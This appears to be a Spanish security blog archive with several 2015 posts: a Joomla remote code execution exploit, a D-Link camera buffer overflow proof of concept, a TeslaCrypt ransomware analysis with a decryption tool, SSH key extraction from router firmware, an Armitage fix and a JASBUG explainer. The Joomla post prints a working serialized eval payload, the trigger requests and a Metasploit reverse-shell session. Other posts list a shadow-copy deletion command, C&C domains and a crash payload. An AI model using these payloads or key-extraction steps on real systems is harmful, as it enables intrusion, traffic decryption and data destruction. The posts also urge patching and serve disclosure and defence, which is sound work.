martes, 15 de diciembre de 2015

Parchea o muere, exploit RCE Joomla 1.5.0-3.4.5

Seguro que estás al día y ya te habrás enterado de que hace un par de días se han podido observar intentos de explotación de un nuevo 0-day que permite la ejecución remota de código (RCE) en todas las versiones de Joomla, de la 1.5.0 a la 3.4.5 (es decir, un exploit funcional desde hace 8 años).
  


La petición:


2015 Dec 12 16:49:07 clienyhidden.access.log
Src IP: 74.3.XX.XX / CAN / Alberta
74.3.XX.XX   [12/Dec/2015:16:49:40 -0500] GET /contact/ HTTP/1.1 403 5322 http://google.com/ }__test|O:21:x22JDatabaseDriverMysqlix22:3: ..{s:2:x22fcx22;O:17:x22JSimplepieFactoryx22:0: .. {}s:21:x22x5C0x5C0x5C0disconnectHandlersx22;a:1:{i:0;a:2:{i:0;O:9:x22SimplePiex22:5:..{s:8:x22sanitizex22;O:20:x22JDatabaseDriverMysqlx22:0:{}s:8:x22feed_urlx22;s:60:..

El payload: 


}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:\x22eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86Paste your text here.

Si desofuscamos:



}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}��

La vulnerabilidad funciona incluso sin autenticación previa y, cómo podrás ver, básicamente es debida a que Joomla usa el contenido de user-agent y x-forwarded-for para escribir la sesión sin ningún control interno y sin filtrar:



 GET / joomla / HTTP / 1.1 Host: 192.168.152.130 User-Agent: Mozilla / 5.0 (Windows NT 6.1; WOW64; rv: 30.0) Gecko / 20100101 Firefox / 30.0 x-forwarded-for:} __ test | O: 21: " JDatabaseDriverMysqli ": 3: {s: 2:" fc "; O: 17:" JSimplepieFactory ": 0: {} s: 21:" disconnectHandlers "; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "sanitize"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "feed_url"; s: 60: "eval (base64_decode ( $ _POST [111])); JFactory :: getConfig (); exit; "; s: 19:" cache_name_function "; s: 6:" assert "; s: 5:" cache "; b: 1; s: 11 : "cache_class"; O: 20: "JDatabaseDriverMysql": 0: {}} i: 1; s: 4: "init";}} s: 13: "connection"; b: 1;} ð Œ † Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8 Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249 = h5kl99v8ddi9t64919sf706q64 Connection: keep-alive 

Código de ejecución:



POST / joomla / HTTP / 1.1
 Host: 192.168.152.130
 User-Agent: Mozilla / 5.0 (Windows NT 6.1; WOW64; rv: 30.0) Gecko / 20100101 Firefox / 30.0
 Accept: text / html, application / xhtml + xml, application / xml; q = 0.9, * / *; q = 0.8
 Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3
 Accept-Encoding: gzip, deflate
 Cookie: 82864b7eae85ebcf7a6fbdda5d464249 = h5kl99v8ddi9t64919sf706q64
 Connection: keep-alive
 Content-Type: application / x-www-form-urlencoded
 Content-Length: 24
 111 = cGhwaW5mbygpOw% 3d% 3d 

Ummm.. así que podemos inyectar en la cabecera HTTP y poner un nuevo identificador de sesión con los datos serializados:



 __default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450169533;s:18:"session.timer.last";i:1450169533;s:17:"session.timer.now";i:1450169533;s:22:"session.client.browser";s:4:"TEST";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:4:{s:40:"864263691cf020260fd769f9e91b5152c4a0e278";O:8:"stdClass":2:{s:4:"link";s:54:"http://127.0.0.1:8181/index.php/3-welcome-to-your-blog";s:6:"expiry";i:1450169533;}s:40:"a7425dbaaa274c9c71da73ebdfc40ed0e1941365";O:8:"stdClass":2:{s:4:"link";s:54:"http://127.0.0.1:8181/index.php/4-about-your-home-page";s:6:"expiry";i:1450169533;}s:40:"50717150dd908262db5e49b4334dcc7f2d3bd0dd";O:8:"stdClass":2:{s:4:"link";s:47:"http://127.0.0.1:8181/index.php/6-your-template";s:6:"expiry";i:1450169533;}s:40:"78e8cf066aacebaecd359c665129e4281e269205";O:8:"stdClass":2:{s:4:"link";s:46:"http://127.0.0.1:8181/index.php/5-your-modules";s:6:"expiry";i:1450169533;}}}

Y para mayor comodidad ya tienes en vuestras casas el módulo de Metasploit correspondiente, probado en Ubuntu 12.04:



msf exploit(joomla_user_agent_rce) > show options

Module options (exploit/multi/http/joomla_user_agent_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HEADER     USER-AGENT       yes       The header to use for exploitation (Accepted: USER-AGENT, X-FORWARDED-FOR)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      10.211.55.23     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /joomla/         yes       The path to joomla
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Joomla


msf exploit(joomla_user_agent_rce) > run

[*] Started reverse handler on 10.211.55.2:4444
[*] Sending payload ...
[*] Sending stage (33068 bytes) to 10.211.55.23
[*] Meterpreter session 1 opened (10.211.55.2:4444 -> 10.211.55.23:60834) at 2015-12-15 17:22:22 +0100

^C[-] Exploit failed: Interrupt

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:51:20 UTC 2014 x86_64
Meterpreter : php/php
meterpreter >

Así que si usas este CMS y no has parcheado todavía la vulnerabilidad (CVE-2015-8562) te recomendamos encarecidamente darte prisa en hacerlo... y hacer un buen forense por si ya has sido comprometido...


Parchea:

https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html

Fuentes:

- Critical 0-day Remote Command Execution Vulnerability in Joomla
- [20151201] - Core - Remote Code Execution Vulnerability
- Patch now! Joomla attacked in remote code execution blitzkrieg
- Joomla对象注入漏洞分析(含漏洞利用方式)
- [Request] Critical 0day RCE in joomla #6347
- Critical 0-day Remote Command Execution Vulnerability in Joomla! 

- www.hackplayers.com
 

viernes, 11 de diciembre de 2015

Sobre error "org.msgpack.UnpackException" parse error de Armitage ( Kali 2.0 )

A la insistencia de z3r0x se realiza el siguiente minituto, ya que ayer casi le da un derrame cerebral a causa del persistente error de armitage bajo ciertas actualizaciones del kernel.


Luego de instalar el nuevo Kali 2.0, e intentando ejecutar uno de los programas mas usados en el mundo del pentest: Armitage; generalmente bota el error siguiente:

org.msgpack.UnpackException: parse error 
¿Como lo solucionamos?

Ingresamos al sitio de kali linux: https://www.kali.org/
Y accedemos al repositorio Git de kali linux como muestra la siguiente imágen:

Descargamos la última actualización de Armitage.

 
Hacemos clic en el enlace "packages/armitage.git", donde nos  saldría la lista de las versiones mas recientes del proyecto, seleccionamos la versión mas actual, en mi caso: "debian/20150812-1kali1".




Hacemos click, en la opción "  snapshot " para descargar la nueva versión de armitage; Una vez descargado nos vamos a la ruta donde esten nuestras descargas y extraemos el contenido de este paquete.




Entramos en la siguiente ruta: armitage-5124ec4/debian/ helper-script
y encontraremos los dos archivos siguientes:



Copiamos los dos archivos en esta otra ruta:  /usr/bin/ 



Después copiamos el contenido completo de la carpeta descargada realizando el mismo procedimiento de reemplazo.



Con los pasos anteriores hemos actualizado nuestro armitage,
ahora solo nos queda iniciarlo para eso abrimos una terminal he
iniciamos el servicio de postgresql con el comando : service postgresql start



Iniciamos el servicio de metasploit con el comando : msfdb init ;
Luego de iniciarse los servicios...
Ya podemos iniciar armitage desde la barra lateral de nuestro kali.


Por otro lado pueden iniciar los servicios de manera automatizada creando un scrib en bash con el siguiente contenido:



miércoles, 25 de noviembre de 2015

Vulnerabilidad en cámaras D-Link (ONVIF) permite el acceso remoto como root

Hace una semana @rpaleari y @joystick publicaron una vulnerabilidad de desbordamiento de búfer (stack) que afecta al servicio Onvif de las cámaras D-Link el cual es accesible por la WAN sin autenticación. En otras palabras, la vulnerabilidad puede explotarse remotamente y usuarios no autenticados pueden ganar acceso como root en los dispositivos afectados.

Concretamente el problema está en la llamada a la función vsprintf(str, "%s", input) donde str es una variable de tamaño fijo e input es el búfer de solicitud de entrada controlado por el atacante. Un atacante puede sobrescribir un puntero en la pila (por ejemplo, el registro guardado lr) para secuestrar el flujo de ejecución.

La función vulnerable vsprintf() es llamada por BaseCgilet::Term() (desde libcgilet.so). A continuación, se lanza el exploit en Soaplet::onUpdateSettings(), que a su vez llama a BaseCgilet::Term() cuando un documento XML no puede ser parseado correctamente. También podrían existir otras rutas en el código que lleven a la llamada a la función vulnerable.

Podemos llevar a cabo una PoC mediante el siguiente comando:



curl -d @poc-crash.xml -k -v https://<target IP>/onvif/device_service --header 'Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/device/wsdl/GetSystemDateAndTime"'

El xml poc-crash.xml es tan sencillo como esto:



<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">

Esta petición hace que binario CGI desborde el búfer de pila, sobrescribiendo el valor lr guardado con datos ficticios. En la siguiente ejecución de GDB, todos los registros con valor 0x58585858 y 0x41414141 provienen del documento XML de entrada.


# gdb --args ./device_service
(gdb) run < poc.xml
ret != IXML_SUCCESS: 12
!_soapDump:
<s:Envelope xmlns:s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX">

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) info registers
r0             0x214    532
r1             0x0      0
r2             0x0      0
r3             0x0      0
r4             0x41414141       1094795585
r5             0x82588  533896
r6             0x82cd8  535768
r7             0x0      0
r8             0x0      0
r9             0x0      0
r10            0xb6fff000       3070226432
r11            0x41414141       1094795585
r12            0xb6f8e418       3069764632
sp             0xbefff888       0xbefff888
lr             0x58585858       1482184792
pc             0x58585858       0x58585858
cpsr           0x60000010       1610612752

Se puede adaptar el exploit fácilmente para ganar un shell como se muestra en la siguiente pantalla:



Por el momento la vulnerabilidad ha sido probada en el modelo DCS-942L (1.25 (hardware revision A)) aunque probablemente afecte a otros muchos modelos.

Fuente

martes, 28 de abril de 2015

Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt, una variante de CryptoLocker

Cifrar los archivos de la víctima y luego pedir bitcoins para descifrarlos es un negocio muy lucrativo: las campañas de ramsonware se están convirtiendo en una amenaza cada vez mayor. Después de la caída de CryptoLocker surgió Cryptowall, con técnicas anti-depuración avanzadas, y después numerosas variantes que se incluyen en campañas dirigidas cada vez más numerosas. 
 
Una de las últimas variantes se llama TeslaCrypt y parece ser un derivado del ransomware CryptoLocker original. Este ransomware está dirigido específicamente a gamers y, aunque dice estar usando RSA-2048 asimétrico para cifrar archivos,realmente está usando AES simétrico, lo que ha permitido a Talos Group (Talos Security Intelligence & Research Group) desarrollar una herramienta que descifra los archivos... 


Primero se analizaron dos muestras con fecha de marzo y abril de 2015. Ambas muestras implementaban los siguientes algoritmos de hash:

- SHA1
- SHA256
- RIPEMD160
- BASE58
- BASE64

Vector de infección y función de instalación

Este ransomware se distribuye generalmente como un archivo adjunto de correo electrónico o a través de sitios web que redirigen a la víctima al exploit kit Angler (también se ha identificado en otros exploits kits como Nuclear y Sweet Orange). Luego la mayoría de las muestras de TeslaCrypt utilizan técnicas COM+ de evasión de sandbox. Por ejemplo, el dropper que analizaron utilizaba sencillo código de detección que verifica si la interfaz COM "URLReader2" se ha instalado correctamente en el filtro DirectShow:


Si se pasa la verificación, el verdadero dropper se extrae y se ejecuta utilizando un método bien conocido que hace uso de las funciones de la APIZwMap(Unmap)ViewOfSection para extraer la imagen original de memoria del PE y re-mapear otra. El último ejecutable desempaquetado localiza directorios específicos de Windows, como el directorio de datos de aplicación, y construye los archivos de soporte como el archivo "key.dat" y archivos para almacenar instrucciones de descifrado

El ejecutable también ajusta sus propios privilegios (añade "SetDebugPrivilege") y se copia utilizando un nombre de archivo aleatorio en el directorio de datos de aplicación del usuario. Un nuevo proceso se genera entonces y la ejecución se transfiere a la misma. Después se elimina el archivo original del dropper y se crean cinco hilos que realizan lo siguiente:

- elimina todas las Volume Shadow Copies mediante la ejecución del comando “vssadmin.exe delete shadows /all /quiet

- abre el archivo "key.dat" y recupera las claves de cifrado. Si no existe el archivo "key.dat", crea las claves y las almacena de forma cifrada.

- envía la nueva clave de cifrado principal al servidor C&C a través de una petición POST. El ejemplo analizado contenía las siguientes URLs:

    . 7tno4hib47vlep5o.63ghdye17.com
    . 7tno4hib47vlep5o.79fhdm16.com
    . 7tno4hib47vlep5o.tor2web.blutmagie.de
    . 7tno4hib47vlep5o.tor2web.fi

- implementa protección anti-tampering: cada 200 mili segundos, TeslaCrypt enumera todos los procesos en ejecución y si encuentra un proceso con un nombre de archivo que contenga cualquiera de las palabras de abajo, el proceso se termina usando la función API de Windows TerminateProcess:

    . taskmgr
    . procexp
    . regedit
    . msconfig
    . cmd.exe

  
Cifrado de archivos - introducción

Como hemos dicho, después de la rutina de inicialización y la supresión de las instantáneas de volumen (Volume Shadows), la muestra crea el archivo "key.dat" donde almacena todas las claves de cifrado. El dropper de marzo 2015 calculaba al menos dos claves principales 
diferentes: una clave de pago y una clave de cifrado principal. El otro dropper implementaba el concepto de una clave adicional conocida como la "clave de recuperación".

"GetAndHashOsData" es la función responsable de la creación del buffer base para la generación de todas las claves. Al principio adquiere la siguiente información:

- estadísticas de la red LAN del PC, utilizando la función API NetStatisticsGet
- 64 bytes aleatorios generados por las cripto-funciones de Windows
- todos los descriptores del heap de su propio proceso
- todos los descriptores de procesos activos y los hilos descriptores de cada proceso
- todos los módulos cargados en cada proceso
- información de la memoria física del PC

Una vez que se adquieren los datos, se genera una gran matriz de valores SHA1, una por cada 20 bytes de datos adquiridos. Al final se calcula y almacena un valor SHA1 global para toda la matriz, en un símbolo llamado "g_lpGlobalOsDataSha1".

Con esos dos ítems, la rutina de "FillBuffWithEncryptedOsData" es capaz de llenar de una manera pseudo-aleatoria un buffer genérico con los datos calculados. Una clave maestra y una clave de pago se generan utilizando esta función (cada clave es de 32 bytes), su SHA256 se calcula y, finalmente, un algoritmo personalizado se utiliza para desplazar a la izquierda y a la derecha las dos claves. Los dos valores desplazados SHA256 se almacenan en el archivo "key.dat".

El fichero de claves

La rutina "OpenKeyFileAndWrite" intenta abrir el archivo "key.dat" ubicado en el directorio de datos de aplicación del usuario. Si no existe, se generan las dos claves maestras (tres en el caso de los droppers más recientes) junto con las otras claves y los almacena en el archivo.

Aquí hay un pequeño esquema de la disposición del archivo "key.dat":


La última versión del dropper crea un archivo "RECOVERY_KEY.TXT" dentro del directorio de documentos del usuario. Lo hace para lograr un objetivo particular: si el equipo de la víctima está desconectado o si un cortafuegos bloquea la comunicación con el servidor C&C, el dropper procederá a la destrucción de la clave maestra dentro del archivo "key.dat", después de que se haya completado el cifrado de todos los archivos.

Para recuperar los archivos cifrados, el usuario tendría que conectarse al sitio web TOR del atacante y proporcionar la clave de recuperación. Los atacantes utilizan unalgoritmo personalizado para recuperar la clave maestra a partir de la clave de recuperación:


El archivo de recuperación de claves contiene 3 piezas de información en un formato legible, separadas por un carácter de retorno de carro:

- La dirección Bitcoin
- El identificador de clave de pago (32 dígitos hexadecimales)
- La clave de recuperación (64 dígitos hexadecimales)

El algoritmo de cifrado de archivos

El cifrado de archivos se realiza en un thread dedicado. El código para el hilo de cifrado toma la clave maestra desplazada, calcula el hash SHA256 y comienza a enumerar todos los archivos del PC de la víctima (filtrado por tipo de extensión, TeslaCrypt soporta más de 170 extensiones de archivos diferentes).

"EncryptFile" es la función que gestiona todo el proceso de cifrado de archivos. Esta función:

- genera un 16-bytes vector de inicialización para AES, usando la función API GetAndHashOsData
- lee el archivo de destino
- inicializa el algoritmo de cifrado AES a través de la creación de la estructura de datos de contexto AES
- finalmente cifra el contenido del archivo usando un algoritmo AES de 256 bits CBC implementado en la función "EncryptWithCbcAes".

Cuando el proceso se haya completado, se crea el nuevo archivo cifrado. El nuevo archivo contiene una pequeña cabecera (compuesto del vector de inicialización AES en sus primeros 16 bytes seguido por el tamaño del archivo original en los próximos 4 bytes), y luego los bytes cifrados reales.


La ventana emergente muestra información engañosa: el método de cifrado es AES simétrico, y no un RSA-2048 asimétrico según lo declarado por TeslaCrypt en la imagen anterior.

Como prueba de que TeslaCrypt está realmente utilizando AES simétrico y no RSA asimétrica, Talos publica una utilidad de descifrado capaz de descifrar todos los archivos cifrados por este ransomware (siempre que se tenga la clave maestra).

La herramienta de descifrado de TeslaCrypt de Talos

La utilidad de descifrado de Cisco es una utilidad en línea de comandos. Se necesita el archivo "key.dat" para recuperar correctamente la clave maestra utilizada para el cifrado de archivos. Antes de que comience la ejecución, busca "key.dat" en su ubicación original (directorio de datos de aplicación del usuario), o en el directorio actual. Si no es capaz de encontrar y analizar correctamente el archivo "key.dat", se devuelve un error y sale.


Para utilizar esta herramienta, sólo tienes que copiar el fichero "key.dat" en el directorio de la herramienta y luego especificar el archivo cifrado o un directorio que contiene archivos cifrados. ¡Eso es todo! Los archivos serán descifrados y volverán a su contenido original.

Aquí está la lista de opciones de la línea de comandos:

     /help - Muestra el mensaje de ayuda
     /key - especifica manualmente la clave maestra para el descifrado (32 bytes/64 dígitos)
     /keyfile - Especifica la ruta del archivo "key.dat" que se utiliza para recuperar la clave maestra
     /file - Descifra un archivo cifrado
     /dir - Descifra todos los archivos ".ecc" en el directorio de destino y sus subdirectorios
     /scanEntirePc - descifra archivos ".ecc" en todo el equipo
     /KeepOriginal - Guarda el archivo original(es) en el proceso de cifrado
     /deleteTeslaCrypt - Automáticamente mata y elimina el dropper TeslaCrypt (si se encuentra activo en el sistema de destino)

  
Eso sí, haz un backup de tus archivos cifrados antes de utilizar esta utilidad, se ofrece siempre sin garantías.

Aquí tenéis los enlaces de la herramienta:

Binario Windows:
http://labs.snort.org/files/TeslaDecrypt_exe.zip
ZIP SHA256: 57ce1c16e920a9e19ea1c14f9c323857c9a40751619d3959684c7e17956d66c6

Código fuente del binario de Windows:
https://labs.snort.org/files/TeslaDecrypt_cpp.zip
ZIP SHA256: 45908f0b3f8eb73bf820ded0a886842ac5c3e4c83068097806daad662046b1e0

Script en Python:
https://labs.snort.org/files/TeslaDecrypt_python.zip
ZIP SHA256: ea58c2dd975ed42b5a30729ca7a8bc50b6edf5d8f251884cb3b3d3ceef32bd4e

Futuras mejoras

A la herramienta todavía le faltan algunas características. En particular, no han tenido tiempo para implementar el algoritmo necesario para recuperar la clave maestra de la clave de recuperación. Esto es importante porque en algunas versiones del dropper, la clave maestra se extrae del archivo "key.dat" tan pronto como se completa el cifrado de archivos. Así que habrá que estar pendiente por si publican actualizaciones.

pd. La utilidad de descifrado es una herramienta de prueba que no está soportada oficialmente y el usuario asume toda la responsabilidad derivada del uso de la misma.

Fuentes:
Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt
New Utility Decrypts Data Lost to TeslaCrypt Ransomware

domingo, 22 de febrero de 2015

Cómo dumpear las claves SSH desde el firmware de un router

Algunos me preguntan como sacar las claves ssh de los routers. los veo venir... pero bueno, veremos rápidamente como hacerlo extrayendo la imagen del firmware de un router ;)

En esta ocasión sin embargo vamos a dejar al *pobre* Comtrend VG-8050 y vamos a ir a por el D-Link Dsl-2750u (la belleza de la derecha). En concreto vamos a echar un vistazo a una de las versiones de firmware que también viene con un demonio Dropbear 0.46 con "premio": la ME_1.11 de octubre de 2013:

http://www.dlinkmea.com/partner/media/product_item_downloadables/1351-DSL2750U-U1_FW1.11.rar

Después de descargar los menos de 7mb que ocupa el rar, lo descomprimimos y analizamos la imagen con Binwalk, el estándar de facto para el análisis de firmwares:



root@kali:~/firmwares# file GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 
GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img: data

root@kali:~/firmwares# binwalk GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

Como veis el filesystem es SquashFS, uno de los más ampliamente utilizados en sistemas con Linux embebido, y está comprimido con LZMA en lugar del estandar zlib (algo que también suelen hacer):


root@kali:~# binwalk --dd='squashfs:squashfs' GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# file 1A4900.squashfs 
1A4900.squashfs: Squashfs filesystem, little endian, version 4.0, 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

El siguiente paso es extraer la imagen y, para ello, vamos a instalar y utilizar la utilidad unsquashfs-2.1 de Jeremy Collake:



apt-get install liblzo2-dev 
git clone https://github.com/devttyS0/sasquatch
make

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# ./sasquatch/sasquatch 1A4900.squashfs 
SquashFS version [4.0] / inode count [1142] suggests a SquashFS image of the same endianess
Parallel unsquashfs: Using 1 processor
Trying to decompress using default lzma decompressor...
Successfully decompressed with default lzma decompressor
1083 inodes (1113 blocks) to write

[=============================================================\] 1113/1113 100%

created 679 files
created 59 directories
created 123 symlinks
created 281 devices
created 0 fifos

Ahora veremos el filesystem colgando del directorio squashfs-root, por lo que sólo tenemos que ir a pescar nuestras claves...



root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# cd squashfs-root/etc/dropbear/
root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# ls -las
total 16
4 drwxr-xr-x  2 594 594 4096 Oct 24  2013 .
4 drwxr-xr-x 10 594 594 4096 Oct 24  2013 ..
4 -rwxr-xr-x  1 594 594  459 Oct 24  2013 dropbear_dss_host_key
4 -rwxr-xr-x  1 594 594  427 Oct 24  2013 dropbear_rsa_host_key

... y con la herramienta dropbearkey mostrar la clave pública:



root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# dropbearkey -y -f dropbear_rsa_host_key
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCAmPVBs6DX2/2G6NcLwFI6jP055kbQzxGNNaYngPhR3TT9MMiGnR2waCQYrZq0n7D+RKu9tEiYU05tPiaMqm5z4qHq2OePKIL4jFhcTJk8p0yz1IpPp9FJjvZ6Daw4Mvr+r+RNNnSTn7Iq7bIxWyNgXnQc7Lx7IPmm8JDqskFEtOC7 root@kali
Fingerprint: md5 63:05:01:4f:cd:09:6d:ad:ed:95:ae:89:19:2c:b8:bc

Finalmente sólo nos queda buscar el fingerprint correspondiente:

Link shodan


 
y tenemos otros 40.000 equipos cuyas comunicaciones podremos descifrar :)


Fuente

jueves, 12 de febrero de 2015

JASBUG! es el momento de actualizar todos los equipos de una red con Directorio Activo

En el pasado, la seguridad de la red se diseñó en torno a "mantener el interior seguro desde el exterior", en lugar de la idea más general "proteger cada computadora de todos los demás". En estos días la defensa de la red como un perímetro definido rígidamente no es lo suficientemente buena, ya que muchos atacantes vienen de dentro. JASBUG, bautizado así porque fue descubierto (y reportado hace meses) por la firma de seguridad JAS Global Advisors, es más que un bug un fallo de diseño remanente desde desde Windows Server 2003 que puede permitir la ejecución remota de código (RCE) suplantando los archivos que el servidor envía a un cliente: software de confianza por malware.  

Este martes Microsoft ha publicado correcciones del core de su sistema para solventar estas vulnerabilidades críticas (CVE-2015-0008), concretamente dos que implican directivas de grupo y objetos de directiva de grupo (GPO):

MS15-014 - Una vulnerabilidad en SMB

  
Al iniciar sesión en una red con Directorio Activo, el servidor le enviará las actualizaciones según su directiva de grupo, por lo que el administrador de sistemas tiene la oportunidad de establecer una configuración estandarizada y segura en cada PC de su red. Sin embargo cuando la actualización falla, existe un fallo en SMB mediante el cual es posible desactivar los requisitos de firmado SMB, por lo que el cliente no comprobará que ya no está recibiendo los ficheros del servidor y un atacante podrá modificar la tabla ARP del switch para que acceda a su equipo y obtenga un fichero malicioso, todo esto sin que la víctima se percate.



La corrección es sencilla, cuando falle la actualización de directiva se cerrará la misma sin dejártela abierta sin firmado SMB.

MS15-011 - Una vulnerabilidad en la directiva de grupo

MS15-011 es similar, pero mucho más difícil de arreglar. Un atacante podría también hacer la misma suplantación pero mediante una especie de Catch-22: para averiguar si la firma SMB está activada, un cliente tiene que revisar una directiva de grupo del servidor de Active Directory y, mientras lo comprueba, el firmado SMB es irrelevante. El servidor valida el cliente a través del proceso de inicio de sesión, pero el cliente no valida el servidor (esto, en pocas palabras, es el fallo de diseño).

